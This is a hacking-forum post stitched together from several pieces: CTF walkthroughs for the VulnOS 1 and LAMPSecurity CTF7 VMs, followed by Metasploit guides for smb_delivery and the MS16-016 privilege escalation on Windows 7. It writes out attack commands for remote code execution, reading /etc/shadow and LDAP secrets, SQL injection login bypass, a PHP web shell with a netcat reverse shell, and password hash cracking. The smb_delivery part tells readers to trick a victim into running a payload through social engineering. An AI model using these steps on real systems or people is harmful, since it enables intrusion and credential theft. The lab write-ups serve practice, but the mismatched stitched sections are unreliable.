Login

**NINZA** · 04-24-2020, 02:02 PM

0			0

Hello friends! Today we are going to take another CTF challenge known as VulnOS 1 presented by the

[To see content please register here]

. It is another Capture the Flag challenge provided for practice and its security level is for the beginners. You can download this VM from here.
Now let’s try to break through it.
Penetrating Methodologies

Network Scanning (Nmap, netdiscover)
Surfing HTTP service port (80)
Exploiting the distccd vulnerability to get files
Login into target machine via SSH
Exploiting target with SUDO rights
Get the Root access and the flag

Let’s Breach!
Start off with finding the target using:
netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]

Our Target is 192.168.1.135, now we will scan the target for open ports and running services using nmap.
nmap -sV -p- 192.168.1.135
1
nmap -sV -p- 192.168.1.135
[Image: 2.png?w=687&ssl=1]

From the nmap result, we can see that there are a lot of services currently running on the Target VM, Port 80, 8080 and 10000 are available for HTTP. This tells us that the HTTP Service is currently running on the Target VM. So, let’s check it out by opening it on our browser. On opening the Target VM IP-Address on the Browser we are greeted with a webpage.
[Image: 3.png?w=687&ssl=1]

The webpage is welcoming us to VulnOS and giving us a statutory warning about not using the OS on a Live Environment. It consists a “next page>” link too. After clicking on it we are told that our goal is to get root on the Target VM.
[Image: 4.png?w=687&ssl=1]

Back to the nmap scan, we saw that the port 8080 is open too, so we tried to open that on our browser and we get the default Tomcat “It works” page.
[Image: 5.png?w=687&ssl=1]

After further enumerating the Target VM we get them at the port 1000 is open to and is hosting the MiniServ Webmin Page as shown in the image. As we don’t know the login credentials. Let’s try something else
[Image: 6.png?w=687&ssl=1]

Time to further enumerate, on our nmap scan we saw that we have the distcc service running on port 3632 on the Target Machine. So after a little searching over the internet, I found this

[To see content please register here]

.

Now, let’s try to get the shell on the Target VM using this exploit, so we opened our Metasploit framework and searched for the distcc_exec and then using the ‘use’ keyword we selected the exploit, after that we set the target VM’s IP address as rhost and then we ran the exploit, it gets us a limited shell.
msf> use exploit/unix/misc/distcc_exec
msf exploit(unix/misc/distcc_exec)> set rhost 192.168.1.135
msf exploit(unix/misc/distcc_exec)> run
1
2
3
msf> use exploit/unix/misc/distcc_exec
msf exploit(unix/misc/distcc_exec)> set rhost 192.168.1.135
msf exploit(unix/misc/distcc_exec)> run
[Image: 8.png?w=687&ssl=1]

Now time to enumerate the machine with the shell we obtained, we are going to use ps command along with grep to extract all process that can run with root privileges. We are going to use this command.
ps -aux | grep "root"
1
ps -aux | grep "root"
As you can see that the Webmin can run with root privileges, so we are going to use it to proceed further.
[Image: 9.png?w=687&ssl=1]

Now we are going to the exploit we found in the Metasploit to retrieve /etc/passwd. So that can we can escalate privilege on the Target Machine as the flag would only be accessible by the root user. This can be done as shown by using the auxiliary admin/webmin/file_disclousre
This exploit requires the IP Address of Target. We provided it as Rhost.
msf > use auxiliary/admin/webmin/file_disclosure
msf auxiliary(admin/webmin/file_disclosure) > set rhost 192.168.1.135
msf auxiliary(admin/webmin/file_disclosure) > run
1
2
3
msf > use auxiliary/admin/webmin/file_disclosure
msf auxiliary(admin/webmin/file_disclosure) > set rhost 192.168.1.135
msf auxiliary(admin/webmin/file_disclosure) > run
And we have the /etc/passwd file of the Target but this is only the half of the job because without the shadow file this file is of no use.
[Image: 10.png?w=687&ssl=1]

Now we are going to extract the /etc/shadow file using the same exploit by just resetting the rpath to /etc/shadow. This can be done as shown below.
msf > use auxiliary/admin/webmin/file_disclosure
msf auxiliary(admin/webmin/file_disclosure) > set rhost 192.168.1.135
msf auxiliary(admin/webmin/file_disclosure) > set rpath /etc/shadow
msf auxiliary(admin/webmin/file_disclosure) > run
1
2
3
4
msf > use auxiliary/admin/webmin/file_disclosure
msf auxiliary(admin/webmin/file_disclosure) > set rhost 192.168.1.135
msf auxiliary(admin/webmin/file_disclosure) > set rpath /etc/shadow
msf auxiliary(admin/webmin/file_disclosure) > run
[Image: 11.png?w=687&ssl=1]

During our initial enumeration, we also found that the target also has LDAP installed so let’s get this file too like it as it has the login credentials and the file is only be opened with the root privileges. We are going to use the same auxiliary to download the ldap.secret
[Image: 12.png?w=687&ssl=1]

You can too extract the ldap.secret as shown below:
msf > use auxiliary/admin/webmin/file_disclosure
msf auxiliary(admin/webmin/file_disclosure) > set rhost 192.168.1.135
msf auxiliary(admin/webmin/file_disclosure) > set rpath /etc/ldap.secret
msf auxiliary(admin/webmin/file_disclosure) > run
1
2
3
4
msf > use auxiliary/admin/webmin/file_disclosure
msf auxiliary(admin/webmin/file_disclosure) > set rhost 192.168.1.135
msf auxiliary(admin/webmin/file_disclosure) > set rpath /etc/ldap.secret
msf auxiliary(admin/webmin/file_disclosure) > run
As you can see that the file contains the password “canyouhackme”.
Now, it is time to take this challenge to climax. Let’s login via ssh using the credentials info we gathered using the etc/passwd and ldap.secret.
[Image: 13.png?w=687&ssl=1]

ssh [email protected]
Password: canyouhackme
1
2
ssh [email protected]
Password: canyouhackme
[Image: 14.png?w=687&ssl=1]

We did get a shell but our target is to get the root so let’s further escalate the privilege of the shell using
sudo -l
1
sudo -l
On performing sudo -l, we observed that vulnosadmin has no restrictions set and has the privilege to run ALL commands with sudo
sudo bash
1
sudo bash
And this got us to the Root Shell. Now time to locate the flag and bring this Challenge to the End.
[Image: 15.png?w=687&ssl=1]

We didn’t have to search a lot for the flag, we moved to the Root Directory and we got the hello.txt which serves as the flag.
[Image: 16.png?w=687&ssl=1]

Hello friends! Today we are going to take another CTF challenge known as LAMPSecurity CTF7 and it is another boot2root challenge provided for practice and its security level is for the beginners. So let’s try to break through it. But before please note that you can download it from here

[To see content please register here]

Penetrating Methodologies

Network Scanning (Nmap)
Login form SQL injection
Upload php web shell
Spawn TTY shell (Netcat)
Mysql Login
Steal MD5 password
Crack MD5 hashes (John the ripper)
SSH login
Sudo privilege escalation
Get root access

Walkthrough
We found our target –> 192.168.1.127
Our next step is to scan our target with NMAP.
nmap -Pn -sV 192.168.1.127
1
nmap -Pn -sV 192.168.1.127
[Image: 1.png?w=687&ssl=1]

As we can observe there are so many ports are open but here three ports 80, 8080 and 10000 are available for HTTP. When we navigated to the URL

[To see content please register here]

and we were greeted with a Welcome page
[Image: 2.png?w=687&ssl=1]

On exploring port 8080 we found a login page for the admin account.
[Image: 3.png?w=687&ssl=1]

As we don’t know the login credential, so I tried SQL injection both text filed for username and password.
[Image: 4.png?w=687&ssl=1]

Boom!! Here we got admin dashboard access, let’s explore more.
[Image: 5.png?w=687&ssl=1]

We can add new reading content for the reader, click on the Add new tab to edit your content for reading.
[Image: 6.png?w=687&ssl=1]

Then we have uploaded php web shell present at /usr/share/webshells/php in order to compromise the web application. In the background, we have launched netcat listener 1234 to access the TTY shell of the victim’s VM.
[Image: 7.png?w=687&ssl=1]

Since I don’t know the directory where our uploaded file is stored, therefore, I run dirb for enumerating web directories.
dirb

[To see content please register here]

1
dirb

[To see content please register here]

When I navigate for the directory /assets, here I got my uploaded web shell. As we knew, netcat is ready to catch the victim’s shell as soon as we will execute our php file.
[Image: 9.png?w=687&ssl=1]

Great!! We got the netcat session, now enter below command to obtain proper terminal of the target machine.
python -c 'import pty; pty.spawn("/bin/bash")'
1
python -c 'import pty; pty.spawn("/bin/bash")'
As we have enumerated above, the MySQL is running, then with the default credential user: root and password: blank we login successfully into the MySQL database.
mysql -u root
show databases;
1
2
mysql -u root
show databases;
[Image: 10.png?w=687&ssl=1]

show tables;
select username,password from users;
1
2
show tables;
select username,password from users;
Hence from inside user tables, we have found all MD5 hashes of the password.
[Image: 11.png?w=687&ssl=1]

I saved all hashes into a text file named “hashes” and use john the ripper for cracking the password.
john -w=/usr/share/wordlists/rockyou.txt -form=raw-md5 hashes
1
john -w=/usr/share/wordlists/rockyou.txt -form=raw-md5 hashes
Awesome, it works and got decrypted password, now let’s try username as brain and password as madrid for the ssh login.
[Image: 12.png?w=687&ssl=1]

So when tried brain:madrid for ssh login, we login successfully, then we check sudo right for him. Luckily found brain is the part of sudo member and able to perform root level task. To access root privilege to complete the challenge run following command.
ssh [email protected]
sudo -l
sudo su
1
2
3
ssh [email protected]
sudo -l
sudo su
Yuppie!! We finished this challenge.
[Image: 13.png?w=687&ssl=1]

This module serves payloads via an SMB server and provides commands to retrieve and execute the generated payloads. Currently supports DLLs and Powershell.

Exploit Targets

Windows 7

Requirement

Attacker: kali Linux

Victim PC: Windows 7

Open Kali terminal type msfconsole

Now type use exploit/windows/smb/smb_delivery

msf exploit (smb_delivery)>set srvhost 192.168.1.101 (IP of Local Host)

msf exploit (smb_delivery)>set srvport 445

msf exploit (smb_delivery)>exploit

Now, we have to copy the rundll32.exe code generated in victim’s run bar on PC using social engineering method.

As soon as we do that, we will get access of victim’s PC.

Now type sessions –i to display sessions opened when the victim opens the link

Now the session has opened type sysinfo to get system information, then type shell to enter into Victims command prompt.

This module exploits the vulnerability in mrxdav.sys described by MS16-016. The module will spawn a process on the target system and elevate it’s privileges to NT AUTHORITY\SYSTEM before executing the specified payload within the context of the elevated process.

Exploit Targets

Windows 7

Requirement

Attacker: kali Linux

Victim PC: Windows 7

First Hack the Victim PC Using Metaspolit (

[To see content please register here]

)

Open Kali terminal type msfconsole

Now type use exploit/windows/local/ms16_016_webdav
msf exploit (ms16_016_webdav) set session 1
msf exploit (ms16_016_webdav)>exploit
[Image: 2.png?w=687&ssl=1]

Login
Username: Password: Lost Password? Remember me
Or Register an account

Announcement : For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis

Announcement :

For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis